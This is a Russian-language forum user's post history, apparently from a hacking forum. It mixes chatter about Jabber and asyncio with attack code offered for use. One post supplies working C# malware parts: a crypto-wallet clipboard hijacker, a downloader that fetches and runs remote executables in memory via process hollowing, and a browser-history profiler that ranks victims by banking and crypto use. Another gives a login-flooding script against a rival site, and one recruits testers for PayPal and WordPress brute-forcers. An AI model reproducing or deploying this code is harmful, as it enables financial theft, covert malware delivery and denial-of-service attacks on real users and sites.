Перейти к содержанию

Buffer

Пользователь
  • Публикаций

    19
  • Зарегистрирован

  • Посещение

Репутация

0 Neutral

Информация о Buffer

  • Звание
    Rank №2
  1. Проблемы с видом

    Только у меня так?
  2. майнер

    Тут скорее проблема того что майнер не работает как служба и через 10-30 минут выходит из учетки.
  3. b0rn@xmpp.jp спамит в лс

    Вот простой код для флуда их сайта: import requests from concurrent.futures.thread import ThreadPoolExecutor def Auth(): params = { 'act': 'Login', 'CODE': '01', 's': '', 'referer': '', 'CookieDate': '1', 'UserName': 'tvoymat', 'PassWord': 'neobmanivay', 'submit': 'Войти'.encode('utf-8') } try: r = requests.post('http://forum.explolt.in/index.php?showtopic=143296', data=params, timeout=10) except TimeoutError: return '' if __name__ == "__main__": with ThreadPoolExecutor(max_workers=100) as executor: for i in range(1000000000): executor.submit(Auth)
  4. Проблемы с Jabber

    Делал тесты с другими серверами нет проблем. Похоже дело тут в сервере (если ошибаюсь, простите). Отправил себе сообщения с других серверов - ни одно не пришло.
  5. Проблемы с Jabber

    Вот уже месяц, даже больше у меня проблемы с Jabber. Дело в том что больше половины сообщений не приходят когда я онлайн. Но когда держу открытым то получаю. Проблема только на: exploit.im и thesecure, jabber.otr.im - работает отлично. Переустановка клиента не помогла. Кто сталкивался? Использую Psi+ последней версии 32 бита.
  6. Ищу тестеров для своих брутов

    Нужны опытные люди которые протестируют мои бруты для PayPal, WordPress и возможно других. Среди моих контактов тестеров нет и они по этой теме не работаю, решил написать в Флейм. Все написано на Python, скажу что установить и как. Пишите в ПМ кому интересно данное направление. В первую очередь что нужно иметь: - базы - прокси от sockshub (Лучше всего себя показали т-к постоянно обновлять список не нужно и капчи сравнительно меньше. Напишите что от меня и будет скидка) - желательно Ubuntu 18.04 сервер (Тут замечают прирост скорости многие клиенты других брутов, эта система наиболее стабильна и под нее есть все либы без портов). Но подойдет и Windows (домашний или сервер не имеет значения) - опыт работы с брутами и хоть где-то валид чтобы проверить на пропуски и т.д Нужно человек 2-3 чтобы могли сказать что поправить. PayPal - требует много ОЗУ (10 потоков - так-сяк держит на 4 Гб ОЗУ), желательно Win. Другие бруты - нетребовательны к системе. Первый контакт в ПМ, потом дам жабу. Спамеры уже замахали. Те что в подписи - редко проверяю (+1800 спама)
  7. 10 минут на Python. И что-то готово. from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket clients = [] names = {} ident = {} class SimpleChat(WebSocket): def SetName(self,addr): names[str(addr)] = f'User{len(names)}' ident[names[str(addr)]] = self self.sendMessage(f'You username is: {names[str(addr)]}') def handleMessage(self): msg = self.data.split(',') if msg[0] in ident: ident[msg[0]].sendMessage(names[str(self.address)] u': ' self.data) else: for client in clients: if client != self: client.sendMessage(names[str(self.address)] u': ' self.data) def handleConnected(self): SimpleChat.SetName(self,self.address) for client in clients: client.sendMessage(names[str(self.address)] u' - connected') clients.append(self) def handleClose(self): clients.remove(self) for client in clients: client.sendMessage(names[str(self.address)] u' - disconnected') del names[str(self.address)] server = SimpleWebSocketServer('', 8000, SimpleChat) server.serveforever() - Используем веб-сокет для передачи данных - Сообщения не храним на сервере - Возможность писать как и в общий чат так и отдельному юзеру К этому всему подключаем TSL и получаем некую защиту. Можно сделать sqlite БД и делать регистрацию юзеров. Многое что можно добавить. Пример (на примере не показано от кого идет сообщение, фиксанул): Спойлер
  8. Что недавно кидали с гитхаба переделать https://github.com/TheDevFromKer/SimpleCryptoShop В принципе рабочий, оплату битками правда я под клиента переделал.
  9. Моя версия где: Но остался без яицмного-поточности.
  10. Строчку: 428 нужно изменить. range(3) на range(4). А то генерит только: 281.44.18 93.134.15 И т.д upd. Не досмотрел что потом добавляет цифры.
  11. Настройка бота

    MIB, https://www.sendspace.com/file/mqapr4 Все файлы готовые к работе. Если дальше не понятно как использовать то продублируй мое сообщение на Тостере.
  12. Настройка бота

    На Python 2.7, нужен telebot-api (pip install pyTelegramBotAPI, https://github.com/eternnoir/pyTelegramBotAPI) GROUP_CHAT_ID - замени на ид канала. Дает участнику только один раз отправить анкету, данные записывает в db.db (SQLite3). Можно так-же настроить на фотки. Это придаст больше популярности. И не по номеру а чтобы сразу писали в Телеграмм. Код бота: import telebot, sqlite3 from telebot import types bot = telebot.TeleBot("") #bot token def firstSeen(id): conn = sqlite3.connect("db.db") db_worker = conn.cursor() db_worker.execute("SELECT COUNT(form) FROM users WHERE 'id' = {}".format(int(id))) rez = int(db_worker.fetchone()[0]) conn.close() if rez == 0: return True else: return False def addUser(message): conn = sqlite3.connect("db.db") db_worker = conn.cursor() db_worker.execute("INSERT INTO users VALUES ({},'{}')".format(message.chat.id,"true")) conn.commit() conn.close() @bot.message_handler(commands=['start']) def on_start(message): if (firstSeen(message.chat.id)): bot.send_message(message.chat.id, 'Привет! Ответь на вопросы чтобы начать знакомство:') heName(message) else: bot.send_message(message.chat.id, 'Привет! С возвращением! Ты уже подавал анкету.') def heName(mess): alfa = bot.send_message(mess.chat.id, "Как тебя зовут?", reply_markup=types.ForceReply()) bot.register_for_reply(alfa,Name) def heAge(mess, arr): alfa = bot.send_message(mess.chat.id, "Приятно познакомиться, {}. Сколько тебе лет?".format(arr[0]), reply_markup=types.ForceReply()) bot.register_for_reply(alfa,Age,arr) def heTarget(mess, arr): alfa = bot.send_message(mess.chat.id, "Какие у тебя интересы?", reply_markup=types.ForceReply()) bot.register_for_reply(alfa,Target,arr) def heContact(mess, arr): alfa = bot.send_message(mess.chat.id, "Как связаться?", reply_markup=types.ForceReply()) bot.register_for_reply(alfa,Contact,arr) def Contact(message,arr): if len(message.text) > 8 and len(message.text) < 40 : arr.append(message.text.encode('utf-8')) bot.send_message(message.chat.id,"Успех, {}! Твою анкету увидят все!".format(arr[0])) bot.send_message("GROUP_CHAT_ID","Новая анкета от {}!\nВозраст: {}\nИнтересы: {}\nСвязь:{}".format(arr[0],arr[1],arr[2],arr[3])) else: bot.send_message(message.chat.id,"Что-то пошло не так. Повтори ввод") heContact(message, arr) def Target(message, arr): if len(message.text) > 7 and len(message.text) < 51 : arr.append(message.text.encode('utf-8')) heContact(message, arr) else: bot.send_message(message.chat.id,"Что-то не так. {}, повтори.".format(arr[0])) heTarget(message,arr) def Age(message, arr): try: if int(message.text) > 10 and int(message.text) < 80: arr.append(message.text.encode('utf-8')) heTarget(message, arr) else: raise ValueError except ValueError: bot.send_message(message.chat.id,"С твоим возрастом что-то не то. Введи ещё раз.") heAge(message,arr) def Name(message): arr = [] if len(message.text) > 2 and len(message.text) < 15 : arr.append(message.text.encode('utf-8')) heAge(message, arr) else: bot.send_message(message.chat.id,"Странное имя... ") del arr heName(message) bot.polling(none_stop=True) Таблица: CREATE TABLE 'users' ( 'id' INTEGER, 'form' TEXT ); Как видно сообщение: Новая анкета от Юра! Возраст: 33 Интересы: Война и спорт Связь: 1 800 733 33 33
  13. Полезные фишки на C#

    1. Клиппер using System; using System.Windows.Forms; using System.Threading; using System.Text.RegularExpressions; using System.Runtime.InteropServices; namespace AMISS { class Clipper : Form { [DllImport("User32.dll")] protected static extern int SetClipboardViewer(int hWndNewViewer); [DllImport("User32.dll", CharSet = CharSet.Auto)] public static extern bool ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int SendMessage(IntPtr hwnd, int wMsg, IntPtr wParam, IntPtr lParam); IntPtr nextClipboardViewer; private static Clipper mInstance; public Clipper() { nextClipboardViewer = (IntPtr)SetClipboardViewer((int)this.Handle); } public static void Start() { Thread t = new Thread(runForm); t.SetApartmentState(ApartmentState.STA); t.IsBackground = true; t.Start(); } public static void Stop() { mInstance.Invoke(new MethodInvoker(mInstance.endForm)); } private static void runForm() { Application.Run(new Clipper()); } private void endForm() { this.Close(); } protected override void SetVisibleCore(bool value) { mInstance = this; value = false; base.SetVisibleCore(value); } void DisplayClipboardData() { try { IDataObject iData = new DataObject(); iData = Clipboard.GetDataObject(); if (iData.GetDataPresent(DataFormats.Text)) CheckAndReplace((string)iData.GetData(DataFormats.Text)); } catch (Exception) { } } static void CheckAndReplace(string text) { Regex btc = new Regex("[13][a-km-zA-HJ-NP-Z1-9]{25,34}"); Regex eth = new Regex("(0x){1}[0-9a-fA-F]{40}"); Regex monero = new Regex("4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93,105}"); Regex ltc = new Regex("[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}"); Regex doge = new Regex("D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}"); Regex neo = new Regex("A[0-9a-zA-Z]{33}"); Regex ripple = new Regex("r[0-9a-zA-Z]{33}"); Regex dash = new Regex("X[1-9A-HJ-NP-Za-km-z]{33}"); if (Regex.IsMatch(text, monero.ToString())) System.Windows.Forms.Clipboard.SetText(monero.Replace(text, "Monero"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, eth.ToString())) System.Windows.Forms.Clipboard.SetText(eth.Replace(text, "Ethereum"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, ltc.ToString())) System.Windows.Forms.Clipboard.SetText(ltc.Replace(text, "Litecoin"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, neo.ToString())) System.Windows.Forms.Clipboard.SetText(neo.Replace(text, "NEO"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, doge.ToString())) System.Windows.Forms.Clipboard.SetText(doge.Replace(text, "DOGE"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, dash.ToString())) System.Windows.Forms.Clipboard.SetText(dash.Replace(text, "DASH"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, ripple.ToString())) System.Windows.Forms.Clipboard.SetText(ripple.Replace(text, "Repple"), System.Windows.Forms.TextDataFormat.Text); else if (Regex.IsMatch(text, btc.ToString())) System.Windows.Forms.Clipboard.SetText(btc.Replace(text, "Bitcoin"), System.Windows.Forms.TextDataFormat.Text); } protected override void WndProc(ref Message m) { const int WM_DRAWCLIPBOARD = 0x308; const int WM_CHANGECBCHAIN = 0x030D; switch (m.Msg) { case WM_DRAWCLIPBOARD: DisplayClipboardData(); SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam); break; case WM_CHANGECBCHAIN: if (m.WParam == nextClipboardViewer) nextClipboardViewer = m.LParam; else SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam); break; default: base.WndProc(ref m); break; } } private void InitializeComponent() { this.SuspendLayout(); this.ClientSize = new System.Drawing.Size(116, 22); this.ControlBox = false; this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "Clipper"; this.ResumeLayout(false); } } } Форма, не цикл) 2. Запуск в памяти по ссылке другого C# приложения using System.Net; using System.Reflection; namespace AMISS { class FileLess { public void Run(string url) { var webClient = new WebClient(); byte[] bin = webClient.DownloadData(url); Assembly a = Assembly.Load(bin); MethodInfo method = a.EntryPoint; object o = a.CreateInstance(method.Name); var parameters = method.GetParameters().Length == 0 ? null : new[] { new string[0] }; method.Invoke(o, parameters); } } } new AMISS.FileLess.Run("http://filehost.com/file.exe"); 3. Сбор информации (переработанная версия с форума, с позволения заказчика) using System; using System.Threading; namespace AMISS { class GetInfo { static void CloseBrowsers() { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.Arguments = "/C taskkill /IM chrome.exe /IM firefox.exe /IM opera.exe"; process.Start(); } static string GetMozilla() { if (System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\")) { string[] dirs = System.IO.Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\"); return dirs[0] + "\\places.sqlite"; } else { return "not"; } } public static string[] BCS() { CloseBrowsers(); Thread.Sleep(1200); string[] rank = { "false", //bank "false", //crypto "false", //shop "false", //miner "false" //ransom }; string[][] sites = { new[] { "bankofamerica.com", "pacwestbancorp.com", "alipay.com", "cbbank.com", "firstrepublic.com", "chase.com", "citibank.com", "bankamerica.com", "wellsfargo.com", "citicorp.com", "pncbank.com", "us.hsbc.com", "bnymellon.com", "usbank.com", "suntrust.com", "statestreet.com", "capitalone.com", "bbt.com", "tdbank.com", "rbs.com", "regions.com", "53.com", "ingdirect.com", "keybank.com", "ntrs.com", "www4.bmo.com", "usa.bnpparibas.com", "mufg.jp", "aibgroup.com", "comerica.com", "zionsbank.com", "mibank.com", "bbvabancomerusa.com", "huntington.com", "bank.etrade.com", "synovus.com", "bancopopular.com", "navyfcu.org", "schwab.com", "rbcbankusa.com", "colonialbank.com", "hudsoncitysavingsbank.com", "db.com", "peoples.com", "ncsecu.org", "associatedbank.com", "bankofoklahoma.com", "mynycb.com", "firsthorizon.com", "firstcitizens.com", "astoriafederal.com", "firstbankpr.com", "commercebank.com", "cnb.com", "websterbank.com", "fbopcorporation.com", "frostbank.com", "guarantygroup.com", "amtrust.com", "nypbt.com", "wbpr.com", "fult.com", "penfed.org", "tcfbank.com", "lehman.com", "bancorpsouthonline.com", "valleynationalbank.com", "thesouthgroup.com", "whitneybank.com", "susquehanna.net", "citizensonline.com", "ucbh.com", "raymondjames.com", "firstbanks.com", "wilmingtontrust.com", "bankunited.com", "thirdfederal.com", "wintrustfinancial.com", "sterlingsavingsbank.com", "boh.com", "arvest.com", "eastwestbank.com", "efirstbank.com", "theprivatebank.com", "flagstar.com", "becu.org", "umb.com", "firstmerit.com", "corusbank.com", "svb.com", "prosperitybanktx.com", "washingtonfederal.com", "ucbi.com", "metlife.com", "ibc.com", "cathaybank.com", "trustmark.com", "centralbancompany.com", "umpquabank.com", "pcbancorp.com", "schoolsfirstfcu.org", "mbfinancial.com", "natpennbank.com", "", "fnbcorporation.com", "fnfg.com", "golden1.com", "hancockbank.com", "firstcitizensonline.com", "ubsi-wv.com", "firstmidwest.com", "oldnational.com", "ottobremer.org", "firstinterstatebank.com", "northwestsavingsbank.com", "easternbank.com", "suncoastfcu.org", "santander.com", "everbank.com", "bostonprivate.com", "firstfedca.com", "english.leumi.co.il", "aacreditunion.org", "rabobank.com", "parknationalbank.com", "provbank.com", "alliantcreditunion.org", "capitolbancorp.com", "newalliancebank.com", "johnsonbank.com", "doralbank.com", "fcfbank.com", "pinnaclebancorp.net", "providentnj.com", "oceanbank.com", "ssfcu.org", "capfed.com", "iberiabank.com", "sdccu.com", "americafirst.com", "hncbank.com", "bfcfinancial.com", "amcore.com", "nbtbank.com", "centralpacificbank.com", "banksterling.com", "bannerbank.com", "firstmerchants.com", "communitybankna.com", "hsbc.com", "rbs.co.uk", "bankofinternet.com", "ally.com", "bankofindia.co.in", "boi.com.sg", "unionbankofindia.co.in", "bankofindia.uk.com", "unionbankonline.co.in", "hdfcbank.com", "axisbank.com", "icicibank.com", "paypal.com", "pnm.com", "wmtransfer.com", "skrill.com", "neteller.com", "payeer.com", "westernunion.com", "payoneer.com", "capitalone.com", "moneygram.com", "payza.com" }, new[] { "blockchain.info", "cryptonator.com", "bitpay.com", "bitcoinpay.com", "binance.com", "bitfinex.com", "okex.com", "huobi.pro", "bitflyer.jp", "bitstamp.net", "kraken.com", "zb.com", "upbit.com", "bithumb.com", "bittrex.com", "bitflyer.jp", "etherdelta.com", "hitbtc.com", "poloniex.com", "coinone.co.kr", "wex.nz", "gate.io", "exmo.com", "exmo.me", "yobit.net", "korbit.co.kr", "kucoin.com", "livecoin.net", "cex.io", "c-cex.com", "localbitcoins.net", "localbitcoins.com", "luno.com", "allcoin.com", "anxpro.com", "big.one", "mercatox.com", "therocktrading.com", "okcoin.com", "bleutrade.com", "exchange.btcc.com", "bitkonan.com", "coinbase.com", "bitgo.com", "greenaddress.it", "strongcoin.com", "xapo.com", "electrum.org", "etherscan.io", "myetherwallet.com", "bitcoin.com" }, new[] { "ebay", "amazon", "wish.com", "aliexpress", "flipkart.com", "rakuten.com", "walmart.com", "target.com", "bestbuy.com", "banggood.com", "tinydeal.com", "dx.com", "zalando", "jd.com", "jd.id", "gearbest.com", "lightinthebox.com", "miniinthebox.com", "apple.com" } }; string chrome_history = null; string mozilla_history = null; string opera_history = null; if (System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\History")) chrome_history = System.IO.File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\History"); if (System.IO.File.Exists(GetMozilla())) mozilla_history = System.IO.File.ReadAllText(GetMozilla()); if (System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\History")) opera_history = System.IO.File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\History"); for (int i = 0; i != 3; i++) { if (chrome_history != null) { for (int a = 0; a != sites[i].Length; a++) { if (chrome_history.Contains(sites[i][a])) { rank[i] = "true"; break; } } } if (mozilla_history != null) { for (int a = 0; a != sites[i].Length; a++) { if (mozilla_history.Contains(sites[i][a])) { rank[i] = "true"; break; } } } if (opera_history != null) { for (int a = 0; a != sites[i].Length; a++) { if (opera_history.Contains(sites[i][a])) { rank[i] = "true"; break; } } } } mozilla_history = null; chrome_history = null; opera_history = null; if (System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Bitcoin")) rank[1] = "true"; else if (System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Electrum")) rank[1] = "true"; else if (System.IO.Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Exodus")) rank[1] = "true"; if (Environment.ProcessorCount > 1) rank[3] = "true"; if (System.IO.DriveInfo.GetDrives().Length > 1) rank[4] = "true"; GC.Collect(); return rank; } } } Возвращает результат в массиве. Есть описание string[] rank 4. Запуск в памяти по ссылке нативного .ехе (не помню откуда) using System; using System.Runtime.InteropServices; namespace AMISS { public static unsafe class CMemoryExecute { public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public static void NewTask(string link, string process) { var webClient = new WebClient(); byte[] bin = webClient.DownloadData(link); Run(bin,process); } public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "") { // STARTUPINFO STARTUPINFO StartupInfo = new STARTUPINFO(); StartupInfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; StartupInfo.wShowWindow = SW_HIDE; var IMAGE_SECTION_HEADER = new byte[0x28]; // pish var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh var IMAGE_DOS_HEADER = new byte[0x40]; // pidh var PROCESS_INFO = new int[0x4]; // pi var CONTEXT = new byte[0x2cc]; // ctx byte* pish; fixed (byte* p = &IMAGE_SECTION_HEADER[0]) pish = p; byte* pinh; fixed (byte* p = &IMAGE_NT_HEADERS[0]) pinh = p; byte* pidh; fixed (byte* p = &IMAGE_DOS_HEADER[0]) pidh = p; byte* ctx; fixed (byte* p = &CONTEXT[0]) ctx = p; // Set the flag. *(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL; // Get the DOS header of the EXE. Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); /* Sanity check: See if we have MZ header. */ if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE) return false; var e_lfanew = *(int*)(pidh + 0x3c); // Get the NT header of the EXE. Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); /* Sanity check: See if we have PE00 header. */ if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE) return false; // Run with parameters if necessary. if (!string.IsNullOrEmpty(optionalArguments)) hostProcess += " " + optionalArguments; if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref StartupInfo, PROCESS_INFO)) return false; var ImageBase = new IntPtr(*(int*)(pinh + 0x34)); NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase); if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero) Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations) fixed (byte* p = &exeBuffer[0]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero); for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++) { Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length); fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero); } NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero); *(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */); NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero); return true; } #region WinNT Definitions private const uint CONTEXT_FULL = 0x10007; private const int CREATE_SUSPENDED = 0x4; private const int MEM_COMMIT = 0x1000; private const int MEM_RESERVE = 0x2000; private const int PAGE_EXECUTE_READWRITE = 0x40; private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00 private static short SW_SHOW = 5; private static short SW_HIDE = 0; private const uint STARTF_USESTDHANDLES = 0x00000100; private const uint STARTF_USESHOWWINDOW = 0x00000001; #region WinAPI [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, int[] lpProcessInfo); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount); #endregion #endregion } } bool rez = new AMISS.CMemoryExecute().NewTask("http://filehost.com/file.exe","dwm.exe"); - возвращает true или false Нужно было почистить диск, а многие просили помочь с этим. Думаю пригодиться.
  14. Python на сверхзвуке

    Асинхронный метод действительно лучше для написания софтов. Скорость выше в разы. Тесты: 5000 сайтов (с тайм-аутом, без прокси, Debian): threading: 39 сек asyncio: ~13 сек Другой скрипт где нужно было много писать в файл и работать с сетью: threading: 517 сек asyncio: ~298 сек Асинхронное чтение файла асинхронные запросы - выдают максимальную производительность и существенно уменьшают код. Рад что L.Luciano навел меня на правильный путь и я удалил эти костыли. Но без много-поточности все-же не обойтись в некоторых случаях где нужны долгие вычисления.
  15. У меня стопорит перебором на 250 валидных. А если импортами то импортируй сколько хочешь. А скорость примерно какая получается перебора? 1 в секунду
×